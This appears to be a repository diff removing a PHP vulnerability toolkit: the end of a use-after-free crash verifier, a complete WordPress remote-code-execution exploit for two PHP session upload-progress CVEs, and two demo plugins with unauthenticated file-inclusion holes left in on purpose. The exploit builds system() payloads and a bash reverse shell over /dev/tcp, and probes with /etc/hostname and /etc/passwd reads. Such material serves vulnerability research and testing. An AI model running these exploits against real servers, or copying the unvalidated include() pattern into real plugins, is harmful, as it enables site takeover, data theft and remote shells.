print(f" [{attempt+1}] status={status} (no OOM, retrying)")
if not oom_success:
print()
print("[-] OOM trigger failed.")
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
sys.exit(1)
if patched:
print()
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
print(" 3. Session handler: incomplete_classes_only during RFC1867")
return
# Check worker survived (must do this BEFORE Phase 3, but note
# this GET request will zero BG state on the worker it hits).
# With MaxRequestWorkers=1, this targets the same worker.
# We will re-trigger OOM before the crash attempt.
time.sleep(0.5)
pids_after = discover_workers(host, port, path, rounds=5)
survived = set(pids) & set(pids_after)
if not survived:
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
sys.exit(1)
target_pid = sorted(survived)[0]
print(f" [+] Worker {target_pid} survived OOM")
if args.oom_only:
print()
print("[+] Phase 2 complete.")
print(" BG(unserialize).level=1, .data=freed heap pointer.")
print(" (BG state zeroed by the verification GET above.)")
return
# ── Phase 3: UAF crash verification ───────────────────────────
#
# CRITICAL: no GET requests between the OOM trigger and the crash
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
# zeros BG(unserialize), destroying the stale state.
#
# With prefork MaxRequestWorkers=1, all requests go to the same
# worker. We re-trigger OOM (to set stale state), then immediately
# send the crash trigger without any intermediate requests.
#
# Crash mechanism: filler form fields create 3-page zend_string
# allocations that consume pages up to the stale struct's position
# (~page 288 out of 512 in the ZendMM chunk). When a filler
# zend_string lands on the stale pages, offset 0 (the 'last'
# pointer) is overwritten with the zend_string GC header:
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
# This is not a valid heap address. When the session decode calls
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
print()
print("[*] Phase 3: UAF crash verification...")
print(" Re-triggering OOM, then crash (no intermediate GET).")
crashed = False
for attempt in range(3):
# Re-trigger OOM to set stale BG state
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if not is_oom_response(status, rbody):
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
continue
time.sleep(0.3)
# Plant a small session (one entry). The decode calls var_push
# once, which reads the stale 'last' pointer and crashes.
small_session = b'x|s:3:"abc";'
write_session_file(sid, small_session, args.session_path)
# Send crash trigger DIRECTLY (no intermediate GET).
# Filler fields consume pages up to the stale struct.
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
# Check if worker crashed (new PID or connection failure)
time.sleep(0.5)
try:
_, rbody2 = http_get(host, port, path, timeout=5)
pid_after = extract_pid(rbody2)
except (ConnectionError, socket.timeout, OSError):
pid_after = 0
if pid_after and pid_after != target_pid:
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
print(f" Filler zend_strings reclaimed stale struct pages")
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
crashed = True
target_pid = pid_after
break
elif pid_after == target_pid:
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
elif status == 0 and pid_after == 0:
print(f" [{attempt+1}] Server unresponsive")
else:
print(f" [{attempt+1}] Response: {status}")
print()
if crashed:
print("[+] USE-AFTER-FREE CONFIRMED")
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
print(" overwrote the 'last' pointer with refcount|type_info.")
print(" var_push dereferenced the invalid address -> SIGSEGV.")
else:
print("[*] No crash triggered (filler fields may have missed the pages).")
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
print()
print_summary(crash=crashed)
def print_summary(patched=False, crash=False):
print("=" * 64)
print(" Summary")
print("=" * 64)
print()
if patched:
print(" TARGET: PATCHED (not vulnerable)")
print()
print(" Three independent mitigations block the attack:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
return
print(" TARGET: UNPATCHED (vulnerable)")
print()
print(" Confirmed primitives:")
print(" [+] OOM during RFC1867 session decode")
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
print(" BG(unserialize).level=1, .data=freed heap pointer")
print(" Apache prefork worker survives, serves new requests")
if crash:
print(" [+] Use-After-Free crash (var_push path)")
print(" Filler zend_strings reclaim stale struct pages")
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
print(" [+] Type confusion (var_access path)")
print(" R:N backreferences bypass the corrupted 'last' pointer")
print(" var_access reads inline entries at offset 56 (not offset 0)")
print(" Stale entries.data[0] resolves to freed heap memory")
print(" PHP interprets stale bytes as a live zval (observed: IS_ARRAY)")
print()
print(" Exploitation status:")
print(" Two UAF primitives confirmed: crash (DoS) and type confusion.")
print(" Full RCE is blocked by five independent constraints:")
print()
print(" 1. ASLR: type confusion reads attacker's own data, not heap")
print(" metadata or code pointers (cached chunk retains original bytes)")
print(" 2. Mutual exclusion: filler spray crashes var_tmp_var (offset 16)")
print(" before var_access can read controlled data at offset 56+")
print(" 3. GC header overlap: uncontrolled bytes at struct offset 0-23")
print(" prevent var_push from reaching controlled data at offset 24+")
print(" 4. No exploitable classes: SplFileObject/PDO have function pointer")
print(" calls in free_obj, but fake objects need libphp.so base (ASLR)")
print(" 5. Session key validation: php serializer skips keys with '|',")
print(" blocking deserialization injection via upload progress name")
print()
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
print(" No LFI, no framework, no application-level access needed.")
if __name__ == "__main__":
main()
-492
View File
@@ -1,492 +0,0 @@
#!/usr/bin/env python3
"""
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
Demonstrates both PHP session upload progress vulnerabilities against a
WordPress target that has:
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
Two attack modes:
OOM mode (CVE-2026-109618)
Floods multipart fields to OOM PHP during parsing. zend_bailout()
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
session file with PHP code persists on disk. Second request
includes it via LFI. Works with session.upload_progress.cleanup=1.
Race mode (CVE-2026-109619)
Sends a slow multipart upload that keeps the session file populated
while concurrent LFI requests race to include it before cleanup.
Works with session.upload_progress.cleanup=1. Lower field count,
no OOM needed.
Usage:
# OOM mode (default) — 'id' command
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
# Race mode — reverse shell
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
--lhost 10.0.0.1 --lport 4444
# Custom LFI parameter and session path
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
--lfi-param dt_template --session-path /tmp/php-sessions
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
WP_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
WP_LFI_PARAMS = [
"dt_template",
"page",
"template",
"file",
"tpl",
"include",
"path",
]
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
OOM_FIELD_SIZE = 1024
OOM_FIELDS_64M = 40000
OOM_FIELDS_128M = 80000
# ─── HTTP / multipart helpers ────────────────────────────────────────
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def http_get(host, port, tls, path, headers=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── payload builders ────────────────────────────────────────────────
def build_payload(args):
if args.trigger_only:
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
if args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
session_paths, fields, fsize, args):
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Building {fields} × {fsize}B field payload...")
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
sc = status_code(resp)
if sc == 502 or sc == 0:
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
print(f" OOM during parsing — session cleanup skipped")
elif sc == 500:
print(f" [+] HTTP 500 — OOM during script execution")
else:
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
return False
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(2)
for i in range(10):
try:
r = http_get(host, port, tls, path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(f" New worker ready")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available")
return False
# Phase 2: LFI
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = tcp_connect(host, port, tls)
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(head)
chunk = b"\x00" * 4096
sent, start = 0, time.time()
try:
while sent < file_size and (time.time() - start) < duration:
sock.sendall(chunk[:min(4096, file_size - sent)])
sent += min(4096, file_size - sent)
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def attack_race(host, port, tls, path, php_code, lfi_param,
session_paths, attempts, args):
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
lfi_sid = os.urandom(16).hex()
print(f"[+] Upload SID: {sid}")
print("[*] Starting slow upload (keeps session file alive)...")
t = threading.Thread(target=slow_upload,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True)
t.start()
time.sleep(0.3)
print("[*] Racing LFI requests against upload...")
for i in range(150):
if not t.is_alive():
break
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
timeout=3)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f"\n[+] Race won on iteration {i+1}")
print_result(output, args)
return True
except:
pass
time.sleep(0.02)
t.join(timeout=2)
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
return False
# ─── LFI phase (shared) ─────────────────────────────────────────────
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
print()
print("[*] Phase 2: including poisoned session file via LFI...")
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f" Session file: {sess}")
print_result(output, args)
return True
except:
continue
print(" [!] Session file not found via LFI")
print(f" Tried: {', '.join(session_paths)}")
return False
def extract_output(body_text, args):
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
return m.group(1) if m else body_text[:200]
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
return m.group(1).strip()
if "upload_progress_" in body_text:
return ""
return body_text[:500]
return ""
def print_result(output, args):
if args.trigger_only:
print()
print("[+] Code execution confirmed!")
print(f" {output}")
elif args.cmd:
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved!")
else:
print()
print("[+] Payload delivered — check your listener")
# ─── auto-detect ─────────────────────────────────────────────────────
def detect_lfi_param(host, port, tls, path, params):
for param in params:
try:
url = f"{path}?{param}=/etc/hostname"
resp = http_get(host, port, tls, url, timeout=5)
sc = status_code(resp)
rbody = body_of(resp)
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
return param
except:
continue
return None
# ─── main ────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target:8080/ --cmd 'id'
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target:8080/ --trigger-only
""")
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability without payload")
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
ap.add_argument("--session-path", help="session.save_path on target")
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
ap.add_argument("--attempts", type=int, default=5,
help="Race mode attempts (default 5)")
args = ap.parse_args()
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if not path.endswith("/") and "." not in path.split("/")[-1]:
path += "/"
php_code = build_payload(args)
sid = os.urandom(16).hex()
spaths = list(WP_SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
print("=" * 65)
print(f" WordPress RCE — {cve}")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Mode : {args.mode}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Phase 0: verify target
print("[*] Checking target...")
try:
r = http_get(host, port, tls, path, timeout=5)
sc = status_code(r)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — WordPress alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# Auto-detect LFI param
lfi_param = args.lfi_param
if not lfi_param:
print("[*] Auto-detecting LFI parameter...")
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
if lfi_param:
print(f" [+] Found: {lfi_param}")
else:
print(" [!] No LFI param detected. Specify --lfi-param")
sys.exit(1)
print()
if args.mode == "oom":
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
spaths, args.fields, args.field_size, args)
else:
ok = attack_race(host, port, tls, path, php_code, lfi_param,
spaths, args.attempts, args)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()
-34
View File
@@ -1,34 +0,0 @@
<?php
/**
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
* LFI vulnerability. Represents plugins like WooCommerce session
* handlers, theme builders with template inclusion, etc.
* Version: 1.0.0
*
* Install as mu-plugin:
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
*
* This plugin:
* 1. Calls session_start() on every request (like WooCommerce, etc.)
* 2. Has a template include that accepts user input (like theme builders)
* 3. Registers an AJAX endpoint accessible to unauthenticated users
*/
// Start PHP sessions (common in e-commerce/analytics plugins)
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Register an unauthenticated AJAX handler with LFI
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
add_action('wp_ajax_analytics_render', 'analytics_render_template');
function analytics_render_template() {
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// Vulnerable: no path validation on template parameter
if (file_exists($template)) {
include($template);
}
wp_die();
}
@@ -1,80 +0,0 @@
<?php
/**
* Plugin Name: Developer Toolkit
* Description: Development and debugging utilities for WordPress developers.
* Version: 2.1.0
* Author: DevTools Team
* License: GPL-2.0+
*
* Provides template preview, log viewer, and diagnostic tools for development.
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
// Register admin page
add_action( 'admin_menu', function() {
add_management_page(
'Developer Toolkit',
'Dev Toolkit',
'manage_options',
'dev-toolkit',
'devtoolkit_admin_page'
);
});
// Template preview (simulates common theme/template preview plugins)
add_action( 'template_redirect', function() {
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
$template = sanitize_text_field( $_GET['dt_preview'] );
if ( file_exists( $template ) ) {
include $template;
exit;
}
}
});
// AJAX log viewer endpoint (common in debug/logging plugins)
add_action( 'wp_ajax_dt_view_log', function() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized' );
}
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
if ( $logfile && is_readable( $logfile ) ) {
header( 'Content-Type: text/plain' );
readfile( $logfile );
exit;
}
wp_die( 'File not found' );
});
// Front-end template include (no auth required - simulates broken plugin)
add_action( 'init', function() {
if ( isset( $_GET['dt_template'] ) ) {
$tpl = $_GET['dt_template'];
// "Sanitization" that doesn't prevent path traversal
$tpl = str_replace( "\0", '', $tpl );
if ( file_exists( $tpl ) ) {
include $tpl;
exit;
}
}
});
// Session-based features (simulates WooCommerce/forms using sessions)
add_action( 'init', function() {
if ( ! session_id() ) {
session_start();
}
});
function devtoolkit_admin_page() {
echo '<div class="wrap"><h1>Developer Toolkit</h1>';
echo '<p>Development utilities for debugging and testing.</p>';
echo '<h2>PHP Info</h2>';
echo '<p>Session ID: ' . session_id() . '</p>';
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
echo '</div>';
}